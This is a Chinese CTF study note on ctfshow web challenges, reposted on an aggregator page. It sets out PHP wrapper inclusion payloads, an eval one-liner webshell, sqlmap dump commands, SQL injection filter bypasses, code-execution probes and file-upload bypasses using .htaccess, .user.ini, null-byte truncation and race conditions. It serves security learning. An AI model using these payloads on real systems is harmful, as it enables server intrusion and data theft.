当前位置: 首页 > article >正文

ctfshow——web(总结持续更新)

文章目录

  • 1、基础知识部分
  • 2、php伪协议
    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具
    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径
    • 4.1 Nginx
  • 5、sqlmap使用
  • 6、php特性
    • 6.1 md5加密漏洞
    • 6.2 php特殊符号
  • 7、TOP 10漏洞
    • 7.1 SQL注入
    • 7.2 代码执行
    • 7.3 文件上传
      • php上传特性
      • 检查后缀
      • 检查文件内容
      • 代码逻辑——条件竞争

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++
  2. session:session是保存在服务器中的,服务器通过数据包中的cookie的PHPSESSID值来判断哪条session中保存用户信息;$_SESSION['password']是利用cookie中的PHPSESSID来找相应信息的password值。
  3. 常见的网站源码备份文件后缀:tar、tar.gz、zip、rar、bak。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp

2、php伪协议

2.1 php://input协议

关于php://input,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain,简单来说:当data://text/plaininclude连用时,data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径

# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容

# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*

# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
  3. md5 true参数漏洞
    md5($string, true)ffifdyop129581926211651571912466741651878684928可以得到'or'结构的字符串。

6.2 php特殊符号

# . file = source file ,用bash执行file这个shell脚本文件
. == source 

# 执行系统命令
`ls` = system('ls') 

# php短标签
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>

# ?为通配符
# +为空格

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。

SQL注入绕过:
1、空格被过滤

# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格

##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入

##或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入

##或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据

2、单引号被过滤

# 单引号被过滤
双引号代替单引号

3、with rollup(虚拟表)绕过

# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

在这里插入图片描述

7.2 代码执行

题目中若存在cmd参数,可能存在代码执行。尝试cmd=phpinfo();

?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>

# 读取当前目录下的文件
?cmd=system('ls'); 
?cmd=print_r(scandir('./')); 
?cmd=print_r(glob("*"));

# 读取文件内容
?cmd=highlight_file('x.php');
?cmd=show_source('x.php');

7.3 文件上传

php上传特性

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)php**.tmp(Linux)

在这里插入图片描述

检查后缀

  1. 黑名单绕过
    • 特殊后缀名
      在某些中间件中,.php3,.php4,.php5,.phptml 会被解析为.php
    • windows特性
      1.php.1.php[空格]1.php::$DATA在windows系统中保存为1.php
    • 双写后缀名绕过
      仅当后端使用类似preg_replace函数进行关键词替换时,可以使用双写后缀名的方式绕过。
    • .htaccess和.user.ini
      • .user.ini用法
        前提:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。
        //.user.ini
        auto_prepend_file=1.png
        
        //1.png
        <?php phpinfo();?>
        
        //1.php(任意php文件)
        

        注:三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。

      • .htaccess用法
        # .htaccess文件
        <FileMatch "shell.png">
        SetHandler application/x-httpd-php
        
        # shell.png
        <?php phpinfo();?>
        
      • 区别
        .htaccess文件是Apache服务器中的分布式配置文件;.user.ini是php配置文件。
    • 配合中间件解析漏洞
      需要总结各个中间件的历史解析漏洞。如apache陌生后缀解析漏洞和apache换行解析漏洞。
  2. 白名单绕过
    • %00截断(GET传参)
      前提:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。
      原理:上传1.php%00,最终保存为1.php
    • 0x00截断(POST传参)
      在hex模式下,将1.php后面的16进制值改为00同样达到阶段的效果。

检查文件内容

  1. MIME绕过
    数据包中Content-Type字段表示文件的类型,修改Content-Type的值绕过检测。常见的MIME 类型如下:
    文件拓展名Mime-Type
    .htmltest/html
    .jpgimage/jpeg
    .pngimage/png
    .gifimage/gif
    .txttext/plain
    .phpapplication/x-httpd-php
  2. 文件幻数检测(getimagesize()exif_imagetype()
    其实就是检测文件内容,以下是常见的图片文件头字节。
    类型文件幻数
    JPGFF D8 FF E0 00 10 4A 46 49 46
    GIF47 49 46 38 39 61 (GIF89a)
    PNG89 50 4E 47
  3. 二次渲染
    简单来说,就是后台会根据你上传的图片,重建一个相同的图片

    绕过:

    • 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马;
    • 对于做文件上传之二次渲染建议用GIF图片,相对于简单一点。

代码逻辑——条件竞争

检测原理
  一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
  利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。


http://www.kler.cn/a/379669.html

相关文章:

  • RV1126-SDK学习之OSD实现原理
  • RHCSA课后练习3(网络与磁盘)
  • 架构系列---高并发
  • 408 计算机组成原理、操作系统:异常和中断的总结
  • h2 数据库命令行工具用法汇总
  • 基于MATLAB的战术手势识别
  • 《向量数据库指南》——BGE-M3:引领多模态RAG系统新风尚!
  • Docker容器消耗资源过多导致宿主机死机解决方案
  • openGauss开源数据库实战十五
  • 企业数据泄露安全演练(分享)
  • 飞牛OS在Docker中安装ODOO ERP系统
  • 书签管理工具使用技巧
  • Transformer和BERT的区别
  • Springboot 整合 Java DL4J 实现情感分析系统
  • SQL 视图:概念、应用与最佳实践
  • 教程:使用 InterBase Express 访问数据库(四)
  • C++在游戏开发中的应用与实践
  • [前端面试]计算机网络
  • C语言案例——青蛙跳台阶问题
  • js-18-防抖、节流源码以及如何使用
  • git将本地项目上传到远程空仓库里
  • k8s中Deployment和StatefulSet两种控制器之间的比较
  • 【华为HCIP实战课程二十八】中间到中间系统协议IS-IS邻居关系排错,网络工程师
  • 网络设置:静态IP与动态IP,何去何从?
  • Odoo:免费开源的医药流通行业信息化解决方案
  • 视频号带货书籍,一天佣金1200+(附视频教程)